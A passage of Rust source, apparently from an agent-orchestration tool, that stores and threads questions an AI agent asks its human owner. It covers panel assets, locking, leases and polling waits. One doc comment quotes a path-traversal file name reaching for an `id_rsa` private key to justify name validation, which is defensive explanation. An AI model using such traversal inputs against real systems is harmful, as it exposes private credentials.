889    /// Rejects the same two states [`Question::answer`] does, and for the same
890    /// reason - a question with a recorded [`Answer`] or an abandoned one has
891    /// no run left listening for a reply - and an empty turn, which would tell
892    /// the agent nothing it didn't already know. Never changes `status`: the
893    /// question stays [`QuestionStatus::Open`], because the owner did not
894    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
895    /// counting this as the one question it always was.
896    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
897        match self.status {
898            QuestionStatus::Answered => bail!(
899                "question {} was already answered; there is nothing left to \
900                 discuss",
901                self.short()
902            ),
903            QuestionStatus::Abandoned => bail!(
904                "question {} was abandoned and the run behind it is gone",
905                self.short()
906            ),
907            QuestionStatus::Open => {}
908        }
909        let body = body.into();
910        if body.trim().is_empty() {
911            bail!("a message to question {} cannot be empty", self.short());
912        }
913        self.thread.push(Turn {
914            who: Who::Operator,
915            body,
916            at: Timestamp::now(),
917            note: None,
918        });
919        Ok(())
920    }
921
922    /// The agent replying to the owner's last word, in place of an answer:
923    /// same question, same id, another round.
924    ///
925    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
926    /// on the same reasoning [`Questions::put_panel`] replaces a panel
927    /// wholesale: the whole point of asking back is that what should be
928    /// offered next may have changed, and a caller that wanted the old set
929    /// unchanged can simply pass it again. An empty `Vec` means free text,
930    /// exactly as it does when the question is first asked.
931    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
932        match self.status {
933            QuestionStatus::Answered => bail!(
934                "question {} was already answered; replying now would not \
935                 reach anyone",
936                self.short()
937            ),
938            QuestionStatus::Abandoned => bail!(
939                "question {} was abandoned and the run behind it is gone",
940                self.short()
941            ),
942            QuestionStatus::Open => {}
943        }
944        let body = body.into();
945        if body.trim().is_empty() {
946            bail!("a reply to question {} cannot be empty", self.short());
947        }
948        // An action whose label is no longer offered could never fire.
949        self.actions.retain(|label, _| choices.contains(label));
950        self.choices = choices;
951        let unread = self.unread_from_owner().is_some();
952        self.thread.push(Turn {
953            who: Who::Agent,
954            body,
955            at: Timestamp::now(),
956            note: None,
957        });
958        // The agent has read everything up to its own reply - but only if
959        // nothing the owner said in the meantime is still unread. A second say
960        // that landed after the agent's last look must stay undelivered.
961        if !unread {
962            self.delivered_turns = self.thread.len();
963        }
964        Ok(())
965    }
966
967    /// What the owner said that the agent has not read yet, oldest first,
968    /// joined. `None` unless the question is open and such a turn exists.
969    ///
970    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
971    /// second owner turn it never saw, which leaves the last turn the agent's
972    /// and the ball apparently back with the owner while a say is still unread.
973    pub fn unread_from_owner(&self) -> Option<String> {
974        if !self.status.open() {
975            return None;
976        }
977        let said = self.undelivered_owner_turns();
978        (!said.is_empty()).then(|| said.join("\n\n"))
979    }
980
981    /// Owner turns the agent has not been handed yet, oldest first, whatever
982    /// the question's status. [`Question::unread_from_owner`] adds the "still
983    /// open" guard the waiter and the deputy rely on; an answer being handed
984    /// over needs the says that came before it even though the question is
985    /// closed by then.
986    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
987        let from = self.delivered_turns.min(self.thread.len());
988        self.thread[from..]
989            .iter()
990            .filter(|t| t.who == Who::Operator)
991            .map(|t| t.body.as_str())
992            .collect()
993    }
994
995    /// When the conversation last moved: the newest thread turn, or the asking
996    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
997    /// every reply, so a deadline runs from here and not from `asked_at`.
998    pub fn last_activity(&self) -> i64 {
999        self.thread
1000            .iter()
1001            .map(|t| t.at.as_second())
1002            .max()
1003            .unwrap_or(0)
1004            .max(self.asked_at.as_second())
1005    }
1006
1007    /// Is the ball in the agent's court?
1008    ///
1009    /// True from the moment the owner speaks back until the agent's next
1010    /// [`Question::reply`], and never on a fresh or an already-settled
1011    /// question. [`QuestionStatus`] does not move for either side of this -
1012    /// see [`Question::say`] - so this is the one place that state is
1013    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1014    /// separately rather than asking the phone to infer it from the thread.
1015    pub fn waiting_on_agent(&self) -> bool {
1016        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1017    }
1018
1019    /// Should a notification go out right now?
1020    ///
1021    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1022    /// there is no earlier operator turn to have already caught anyone's
1023    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1024    /// since the owner's own last word - see that constant for why the window
1025    /// exists at all and why its length is not configurable.
1026    fn should_notify(&self, now: Timestamp) -> bool {
1027        let Some(last) = self
1028            .thread
1029            .iter()
1030            .rev()
1031            .find(|t| t.who == Who::Operator)
1032            .map(|t| t.at)
1033        else {
1034            return true;
1035        };
1036        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1037    }
1038}
1039
1040/// A question store on disk.
1041#[derive(Debug, Clone)]
1042pub struct Questions {
1043    root: PathBuf,
1044}
1045
1046impl Questions {
1047    /// The operator's questions, `<home>/questions`.
1048    pub fn open() -> Self {
1049        Self::at(crate::run::home().join("questions"))
1050    }
1051
1052    /// A store at an explicit root. Tests use this, which is why none of them
1053    /// need the operator's real home.
1054    pub fn at(root: PathBuf) -> Self {
1055        Self { root }
1056    }
1057
1058    /// Directory holding the question files.
1059    pub fn root(&self) -> &Path {
1060        &self.root
1061    }
1062
1063    /// Path for one question id.
1064    pub fn path_of(&self, id: &str) -> PathBuf {
1065        self.root.join(format!("{id}.json"))
1066    }
1067
1068    /// Directory holding one question's panel, `<root>/<id>.panel`.
1069    pub fn panel_dir(&self, id: &str) -> PathBuf {
1070        self.root.join(format!("{id}{PANEL_DIR}"))
1071    }
1072
1073    /// Store a panel: the html, plus `assets` copied in under their base
1074    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1075    /// question, or the record on disk will deny having a panel that exists.
1076    ///
1077    /// The assets are **copied, not referenced**. An agent authors its panel
1078    /// inside a candidate worktree and points at files there, and `magi fold`
1079    /// deletes those worktrees; a question is the permanent record of a
1080    /// decision the owner took, so a panel that referenced its own images
1081    /// would render as broken boxes exactly when someone went back to ask why
1082    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1083    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1084    /// so the bytes counted and the bytes written are the same target file's -
1085    /// which is the intent: storing a link would leave the panel pointing at
1086    /// the worktree again, one indirection further away.
1087    ///
1088    /// Everything that can be rejected is rejected before the first byte is
1089    /// written, and the panel is then assembled in a scratch directory and
1090    /// swapped in. So a refusal leaves the previous panel intact, and a
1091    /// success replaces it *wholesale* rather than merging: a re-asked
1092    /// question showing one attempt's diff next to another attempt's table
1093    /// would be a panel neither agent ever wrote.
1094    ///
1095    /// [`put`]: Questions::put
1096    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1097        if !valid_asset_name(&q.id) {
1098            bail!(
1099                "question id `{}` is not a name magi will build a panel path from",
1100                q.id
1101            );
1102        }
1103        if html.trim().is_empty() {
1104            bail!(
1105                "question {} was handed an empty panel; an empty frame reads to \
1106                 the owner as \"the agent had nothing to say\", which is a lie",
1107                q.short()
1108            );
1109        }
1110
1111        // Names, then sizes, then writing - in that order, so nothing below
1112        // can leave a partial panel on disk.
1113        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1114        for src in assets {
1115            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1116            if !valid_asset_name(name) {
1117                bail!(
1118                    "panel asset `{}` cannot be stored: a panel file name must \
1119                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1120                    src.display()
1121                );
1122            }
1123            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1124                bail!(
1125                    "two panel assets are both named `{name}` - {} and {} - and \
1126                     the panel can only show one of them; rename one at the source",
1127                    first.display(),
1128                    src.display()
1129                );
1130            }
1131            named.push((name.to_owned(), src.as_path()));
1132        }
1133
1134        let mut total = html.len() as u64;
1135        for (_, src) in &named {
1136            let meta = std::fs::metadata(src)
1137                .with_context(|| format!("stat panel asset {}", src.display()))?;
1138            if !meta.is_file() {
1139                bail!(
1140                    "panel asset `{}` is not a file; a panel is html plus files \
1141                     copied beside it",
1142                    src.display()
1143                );
1144            }
1145            total = total.saturating_add(meta.len());
1146        }
1147        if total > PANEL_MAX_BYTES {
1148            bail!(
1149                "panel for question {} is {total} bytes, over magi's cap of \
1150                 {PANEL_MAX_BYTES} bytes; nothing was written",
1151                q.short()
1152            );
1153        }
1154
1155        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1156        let dir = self.panel_dir(&q.id);
1157        std::fs::create_dir_all(&self.root)
1158            .with_context(|| format!("create {}", self.root.display()))?;
1159        clear_dir(&tmp)?;
1160        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1161        if let Err(e) = fill_panel(&tmp, html, &named) {
1162            // A copy that dies halfway must not become the panel, and must not
1163            // leave scratch behind for the next call to inherit.
1164            let _ = std::fs::remove_dir_all(&tmp);
1165            return Err(e);
1166        }
1167        clear_dir(&dir)?;
1168        std::fs::rename(&tmp, &dir)
1169            .with_context(|| format!("move panel into {}", dir.display()))?;
1170
1171        q.panel = true;
1172        q.assets = named.into_iter().map(|(n, _)| n).collect();
1173        q.assets.sort_unstable();
1174        Ok(())
1175    }
1176
1177    /// The panel's html, or `None` when the question has no panel.
1178    ///
1179    /// `None` rather than an error for a missing panel because the caller is a
1180    /// web handler whose answer is 404 either way, and an unreadable panel is
1181    /// not a reason to fail the question it belongs to.
1182    pub fn panel_html(&self, id: &str) -> Option<String> {
1183        if !valid_asset_name(id) {
1184            return None;
1185        }
1186        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1187    }
1188
1189    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1190    /// not a name a panel file can have".
1191    ///
1192    /// Rejects a name failing [`valid_asset_name`] **before touching the
1193    /// filesystem**, which is the whole point of the second check: the name
1194    /// arrives from a URL, the directory is on disk where any process could
1195    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1196    /// operating system would resolve perfectly happily. The two callers'
1197    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1198    /// `Result<Option<_>>` rather than one flattened `Option`.
1199    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1200        if !valid_asset_name(name) {
1201            bail!(
1202                "`{name}` is not a panel file name; it must match \
1203                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1204            );
1205        }
1206        if !valid_asset_name(id) {
1207            return Ok(None);
1208        }
1209        let dir = self.panel_dir(id);
1210        if !dir.is_dir() {
1211            return Ok(None);
1212        }
1213        let path = dir.join(name);
1214        match std::fs::read(&path) {
1215            Ok(bytes) => Ok(Some(bytes)),
1216            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1217            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1218        }
1219    }
1220
1221    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1222    ///
1223    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1224    /// not have to know whether a panel was ever written. The question record
1225    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1226    /// in the same order as everywhere else here.
1227    ///
1228    /// [`put_panel`]: Questions::put_panel
1229    pub fn drop_panel(&self, id: &str) -> Result<()> {
1230        if !valid_asset_name(id) {
1231            bail!("question id `{id}` is not a name magi will build a panel path from");
1232        }
1233        clear_dir(&self.panel_dir(id))?;
1234        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1235    }
1236
1237    /// Path of the lease sidecar for one question id.
1238    pub fn lease_path(&self, id: &str) -> PathBuf {
1239        self.root.join(format!("{id}.lease"))
1240    }
1241
1242    /// The lease on a question, if a readable one exists.
1243    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1244        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1245        serde_json::from_str(&body).ok()
1246    }
1247
1248    /// Say, as `kind`, that something is alive and waiting on this question.
1249    ///
1250    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1251    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1252    /// the holder is gone a little early, and that is what the delivery guard
1253    /// (the seat still being busy) is there for.
1254    pub fn beat(&self, id: &str, kind: WaiterKind) {
1255        let lease = Lease {
1256            kind,
1257            pid: std::process::id(),
1258            beat_at: Timestamp::now(),
1259        };
1260        let path = self.lease_path(id);
1261        let tmp = path.with_extension("lease.tmp");
1262        let written = std::fs::create_dir_all(&self.root)
1263            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1264            .and_then(|()| std::fs::rename(&tmp, &path));
1265        if let Err(e) = written {
1266            tracing::debug!("could not beat the lease on question {id}: {e}");
1267        }
1268    }
1269
1270    /// Remove the lease sidecar. Absent is fine.
1271    pub fn drop_lease(&self, id: &str) {
1272        let _ = std::fs::remove_file(self.lease_path(id));
1273    }
1274
1275    /// Read-modify-write one question under a short exclusive lock, so the
1276    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1277    /// each other with a copy that predates the others.
1278    ///
1279    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1280    /// a torn file and does nothing for two writers that both read the same
1281    /// version first. Everything that changes a question that can still be
1282    /// answered goes through here: `f` sees the current record, not one loaded
1283    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1284    /// mid-update and is broken.
1285    pub fn update<T>(
1286        &self,
1287        id: &str,
1288        f: impl FnOnce(&mut Question) -> Result<T>,
1289    ) -> Result<(Question, T)> {
1290        std::fs::create_dir_all(&self.root)
1291            .with_context(|| format!("create {}", self.root.display()))?;
1292        let lock = self.root.join(format!("{id}.lock"));
1293        let started = std::time::Instant::now();
1294        loop {
1295            match std::fs::OpenOptions::new()
1296                .write(true)
1297                .create_new(true)
1298                .open(&lock)
1299            {
1300                Ok(_) => break,
1301                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1302                    let stale = std::fs::metadata(&lock)
1303                        .and_then(|m| m.modified())
1304                        .ok()
1305                        .and_then(|t| t.elapsed().ok())
1306                        .is_some_and(|age| age > LOCK_STALE);
1307                    if stale {
1308                        let _ = std::fs::remove_file(&lock);
1309                    } else if started.elapsed() > LOCK_STALE {
1310                        bail!("could not lock question {id}");
1311                    } else {
1312                        std::thread::sleep(Duration::from_millis(15));
1313                    }
1314                }
1315                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1316            }
1317        }
1318        struct Unlock(PathBuf);
1319        impl Drop for Unlock {
1320            fn drop(&mut self) {
1321                let _ = std::fs::remove_file(&self.0);
1322            }
1323        }
1324        let _guard = Unlock(lock);
1325        let mut q = read_path(&self.path_of(id))?;
1326        let out = f(&mut q)?;
1327        self.put(&mut q)?;
1328        Ok((q, out))
1329    }
1330
1331    /// Write a question, atomically, so a process killed mid-write leaves the
1332    /// previous state readable rather than a truncated file that would strand
1333    /// the run waiting on it.
1334    pub fn put(&self, q: &mut Question) -> Result<()> {
1335        std::fs::create_dir_all(&self.root)
1336            .with_context(|| format!("create {}", self.root.display()))?;
1337        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1338        let path = self.path_of(&q.id);
1339        let tmp = path.with_extension("json.tmp");
1340        let is_new = !path.exists();
1341        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1342        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1343        // A first write of an open question pages the operator, so a separate
1344        // notification about the same task or run is now a second page.
1345        if is_new
1346            && q.status.open()
1347            && q.node != crate::bump::NOTICE_NODE
1348            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1349        {
1350            crate::notices::quiet_for(home, q);
1351        }
1352        Ok(())
1353    }
1354
1355    /// Load a question by id or unambiguous id prefix.
1356    pub fn get(&self, id: &str) -> Result<Question> {
1357        let resolved = self.resolve_id(id)?;
1358        let q = read_path(&self.path_of(&resolved))?;
1359        Ok(self.with_repair_choice(q))
1360    }
1361
1362    fn with_repair_choice(&self, q: Question) -> Question {
1363        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1364            && q.node == crate::land::APPROVAL_NODE
1365            && let Some(home) = self.root.parent()
1366            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1367        {
1368            let mut upgraded = q.clone();
1369            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1370                match self.update(&q.id, |current| {
1371                    crate::land::upgrade_repair_choice(current, &state);
1372                    Ok(())
1373                }) {
1374                    Ok((current, ())) => return current,
1375                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1376                }
1377            }
1378        }
1379        q
1380    }
1381
1382    /// Every question on disk: open first, then newest first.
1383    ///
1384    /// Open first because that ordering is the product - the list exists to
1385    /// show the operator what has stopped, and an answered question is history
1386    /// underneath it. Unreadable files are skipped rather than fatal: one
1387    /// corrupt question must not take the web UI down, and must certainly not
1388    /// hide the open question the operator was looking for.
1389    pub fn list(&self) -> Vec<Question> {
1390        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1391            .into_iter()
1392            .flatten()
1393            .flatten()
1394            .map(|e| e.path())
1395            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1396            .filter_map(|p| read_path(&p).ok())
1397            .map(|q| self.with_repair_choice(q))
1398            .collect();
1399        all.sort_unstable_by(|a, b| {
1400            let rank = |q: &Question| u8::from(!q.status.open());
1401            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1402        });
1403        all
1404    }
1405
1406    /// Open questions belonging to one run, newest first.
1407    ///
1408    /// Used to decide whether a parked run can be resumed: while this is
1409    /// non-empty, nothing about the run has changed and no agent should be
1410    /// spawned for it.
1411    pub fn open_for(&self, run: &str) -> Vec<Question> {
1412        self.list()
1413            .into_iter()
1414            .filter(|q| q.status.open() && q.run == run)
1415            .collect()
1416    }
1417
1418    /// Abandon every open question belonging to a run, and report how many.
1419    ///
1420    /// Called when a run's record is deleted. The agent that asked died with
1421    /// the run, so there is nobody left to hand an answer to, and a question
1422    /// left open would keep asking the operator for a decision that can no
1423    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1424    /// イルが見つかりません" with two buttons, for a run whose directory had
1425    /// been gone for two hours.
1426    ///
1427    /// Abandoned rather than deleted, because [`Question::abandon`] already
1428    /// means "this can no longer be answered" and the record of having asked
1429    /// is worth keeping. Answered questions are left exactly as they are.
1430    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1431        let mut abandoned = 0;
1432        for mut q in self.open_for(run) {
1433            q.abandon(why);
1434            self.put(&mut q)?;
1435            abandoned += 1;
1436        }
1437        Ok(abandoned)
1438    }
1439
1440    /// Abandon a run's open questions once `status` says the run is not
1441    /// coming back, worded with what it actually became.
1442    ///
1443    /// The run-deleted case above and this one are the same fact - nobody is
1444    /// left to read an answer - reached by two different doors. This is the
1445    /// one for a run that finished on its own: merged, reached `Ready` with
1446    /// nothing left to do, failed outright with no established point to
1447    /// resume from, or every candidate agreed, with evidence, that nothing
1448    /// belonged in the worktree. Those are exactly the statuses
1449    /// [`RunStatus::resumable`]
1450    /// excludes, and that is the line this draws too - deliberately not
1451    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1452    /// over. Both of those can still be picked back up with the candidates,
1453    /// the review round and the seat sessions already on disk, so a question
1454    /// asked mid-round may yet get a real answer from a real resume, and
1455    /// folding it here would be exactly the mistake this function exists to
1456    /// avoid on the other side - answering back into a run that no longer
1457    /// exists to read it.
1458    ///
1459    /// A no-op, not an error, when `status` is still resumable or when there
1460    /// was nothing open to begin with - callers reach this from more than one
1461    /// place a run can settle, and a second call finding nothing left to
1462    /// abandon is the expected case, not a bug.
1463    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1464        if status.resumable() {
1465            return Ok(0);
1466        }
1467        let why = format!(
1468            "run {run} {}, so nothing is waiting for this answer",
1469            status.as_str()
1470        );
1471        // A post-merge notice is the exception: it is filed *because* the run
1472        // merged, and no agent waits on it - it is a to-do for the owner, not
1473        // a question a dead seat asked. Abandoning it here would erase the
1474        // only alert the moment the run settles.
1475        let mut abandoned = 0;
1476        for mut q in self.open_for(run) {
1477            if q.node == crate::bump::NOTICE_NODE {
1478                continue;
1479            }
1480            q.abandon(&why);
1481            self.put(&mut q)?;
1482            abandoned += 1;
1483        }
1484        Ok(abandoned)
1485    }
1486
1487    /// Expand an id prefix to exactly one question id. The short id the phone
1488    /// and the reports show is a suffix, so that is accepted too.
1489    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1490        use crate::queue::{Reference, record_ids, resolve_reference};
1491        let ids = record_ids(&self.root, "json")?;
1492        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1493            Reference::Found(id) => Ok(id),
1494            Reference::Missing => bail!("no question matches `{prefix}`"),
1495            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1496        }
1497    }
1498
1499    /// Newest modification time in the store, in milliseconds, for change
1500    /// detection. The web UI compares this instead of re-reading every
1501    /// question, so an idle phone on a slow link costs one `stat` per file.
1502    pub fn revision(&self) -> u64 {
1503        std::fs::read_dir(&self.root)
1504            .into_iter()
1505            .flatten()
1506            .flatten()
1507            .filter_map(|e| e.metadata().ok())
1508            .filter_map(|m| m.modified().ok())
1509            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1510            .map(|d| d.as_millis() as u64)
1511            .max()
1512            .unwrap_or(0)
1513    }
1514
1515    /// How many questions are open, whichever side of the conversation is
1516    /// holding the ball right now. Ten turns of back and forth between the
1517    /// owner and the agent are still one open question - see
1518    /// [`Question::say`] - so this does not drop while a reply is in
1519    /// flight. [`Self::count_needs_owner`] is the number that does.
1520    pub fn count_open(&self) -> usize {
1521        self.list().iter().filter(|q| q.status.open()).count()
1522    }
1523
1524    /// How many open questions actually need the owner right now: open, and
1525    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1526    ///
1527    /// This is the number a notification channel owes - the ask bar, the nav
1528    /// badge, the document title - because those exist to say "something
1529    /// needs you". An unread say stops needing the agent once its follow-up
1530    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1531    /// where a round trip must not look like the run resumed.
1532    pub fn count_needs_owner(&self) -> usize {
1533        self.list()
1534            .iter()
1535            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1536            .count()
1537    }
1538
1539    /// The follow-up spent its starts and its final turn is no longer alive.
1540    /// Computed from the lease rather than saved with the question, so the
1541    /// owner can decide even when an unread message remains in the thread.
1542    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1543        q.status.open()
1544            && q.deputy
1545                .as_ref()
1546                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1547            && !self
1548                .read_lease(&q.id)
1549                .is_some_and(|l| l.fresh(Timestamp::now()))
1550    }
1551}
1552
1553/// How a wait over [`Question`] ended.
1554#[derive(Debug, Clone, PartialEq, Eq)]
1555pub enum Wait {
1556    /// The owner decided. Carries [`Question::resolution`].
1557    Answered(String),
1558    /// The owner spoke back without deciding - see [`Question::say`]. The
1559    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1560    /// the caller's move is to hand this text to the agent and let it call
1561    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1562    Replied(String),
1563    /// This call's [`WAIT_SLICE`] ran out with the question still
1564    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1565    /// going quiet, the clock on *this process* running out. The question is
1566    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1567    /// process, so the wait resumes before the shell tool that would have
1568    /// killed this one gets the chance.
1569    Pending,
1570    /// Nobody said anything before the deadline, or the question was closed
1571    /// out from under the wait with no decision recorded - a run deleted out
1572    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1573    /// now on disk.
1574    Abandoned,
1575}
1576
1577/// File a question and wait for the owner, polling the store.
1578///
1579/// The question is updated in place from disk whenever the wait ends, so the
1580/// caller can act on it without re-reading it. `timeout` is the question's
1581/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1582/// of it - see [`Wait::Pending`] for what happens to the rest.
1583pub async fn ask_and_wait(
1584    q: &mut Question,
1585    store: &Questions,
1586    notify: &config::Notify,
1587    timeout: Duration,
1588) -> Result<Wait> {
1589    wait_for_owner(q, store, notify, timeout, POLL).await
1590}
1591
1592/// Resume a wait already filed, without adding a turn or notifying again.
1593///
1594/// This is `magi ask --wait <id>`'s engine: the process that owned the
1595/// previous slice is dead (the tool that ran it killed it, or it simply
1596/// exited after reporting [`Wait::Pending`]), but the question on disk never
1597/// stopped being open, and the owner was already notified about it once. A
1598/// second notification for the same unanswered question would page the
1599/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1600/// unlike [`ask_and_wait`], this skips straight to polling.
1601///
1602/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1603/// caller computes it as what remains until [`Question::asked_at`] plus the
1604/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1605/// up the deadline the first ask set, never push it out further.
1606pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1607    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1608}
1609
1610/// [`ask_and_wait`] with the poll interval injected.
1611///
1612/// Separate only so the tests can drive a whole wait in milliseconds instead of
1613/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1614/// a knob the operator gets to tune.
1615async fn wait_for_owner(
1616    q: &mut Question,
1617    store: &Questions,
1618    cfg: &config::Notify,
1619    timeout: Duration,
1620    poll: Duration,
1621) -> Result<Wait> {
1622    // A question that is already on disk (a `--thread` reply just wrote it under
1623    // the lock) is left alone: this copy may predate an answer or say that
1624    // landed since, and writing it back would erase that.
1625    if !store.path_of(&q.id).is_file() {
1626        store.put(q).context("file the question")?;
1627    }
1628    if q.should_notify(Timestamp::now()) {
1629        if let Err(e) = notify(cfg, q).await {
1630            // A broken webhook is not a reason to throw away an implementation.
1631            // The question is already on disk and the web UI already shows it,
1632            // so the operator still has a way in; only the tap on the shoulder
1633            // is lost.
1634            tracing::warn!(
1635                "could not notify about question {}: {e:#} - the web UI is the \
1636                 only surface for it now",
1637                q.short()
1638            );
1639        }
1640    }
1641    tracing::info!(
1642        "question {} from {} is waiting for you: {}",
1643        q.short(),
1644        q.seat,
1645        q.summary
1646    );
1647    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1648}
1649
1650/// Take the wait as this process: beat the lease and note it on the record.
1651fn hold(store: &Questions, id: &str) {
1652    store.beat(id, WaiterKind::Asker);
1653    let took = store.update(id, |q| {
1654        if q.status.open() {
1655            q.waiter = Some(Waiter {
1656                kind: WaiterKind::Asker,
1657                since: Timestamp::now(),
1658            });
1659        }
1660        Ok(())
1661    });
1662    if let Err(e) = took {
1663        tracing::debug!("could not note the wait on question {id}: {e:#}");
1664    }
1665}
1666
1667/// Record that the agent has read everything so far, so the daemon waiter does
1668/// not resume a session to tell it what was already printed.
1669///
1670/// Callers must invoke this only **after** the word reached the agent's stdout:
1671/// marking first would let a tool timeout kill the process between the mark
1672/// and the print, and the waiter would then consider a word delivered that no
1673/// agent ever saw.
1674pub fn hand_over(store: &Questions, q: &mut Question) {
1675    let done = store.update(&q.id, |r| {
1676        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1677        if r.status == QuestionStatus::Answered {
1678            r.answer_delivered = true;
1679        }
1680        r.waiter = None;
1681        Ok(())
1682    });
1683    match done {
1684        Ok((fresh, ())) => *q = fresh,
1685        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1686    }
1687}
1688
1689/// What the agent is shown for an answer: the owner's says it has not read
1690/// yet, in order, then the answer. With no such say it is `answer` itself,
1691/// byte for byte.
1692pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1693    let says = q.undelivered_owner_turns();
1694    if says.is_empty() {
1695        return answer.to_owned();
1696    }
1697    format!(
1698        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1699        says.join("\n\n")
1700    )
1701}
1702
1703/// Print an answer (with any unread says before it) to `out`, flush, and only
1704/// then record the hand-over. A failed write marks nothing delivered.
1705pub fn deliver_answer(
1706    store: &Questions,
1707    q: &mut Question,
1708    answer: &str,
1709    out: &mut impl std::io::Write,
1710) -> std::io::Result<()> {
1711    writeln!(out, "{}", answer_for_agent(q, answer))?;
1712    out.flush()?;
1713    hand_over(store, q);
1714    Ok(())
1715}
1716
1717/// The polling loop shared by a fresh wait and a resumed one.
1718///
1719/// `timeout` is the budget left before the question's `answer_timeout`
1720/// truly runs out; `slice` bounds how much of that this one call spends
1721/// before handing control back. Landing on `slice` while `timeout` still has
1722/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1723/// silence. Landing on `timeout` itself - because it was no bigger than
1724/// `slice` to begin with - is the real thing, and abandons the question
1725/// exactly as a single unsliced wait always did.
1726async fn wait_loop(
1727    q: &mut Question,
1728    store: &Questions,
1729    timeout: Duration,
1730    slice: Duration,
1731    poll: Duration,
1732) -> Result<Wait> {
1733    // The owner may already have spoken back before this call ever started -
1734    // most often because they did so in the gap between an earlier call
1735    // reporting `Wait::Pending` and this one picking the wait back up with
1736    // `--wait`. That word must surface at once rather than sit unnoticed
1737    // until some *later* turn happens to change something: this call never
1738    // saw it get added, so nothing below would otherwise recognise it as
1739    // new. `last_word_awaiting_reply` reads the question's own record of
1740    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1741    // turn count this call would have to have been there to capture.
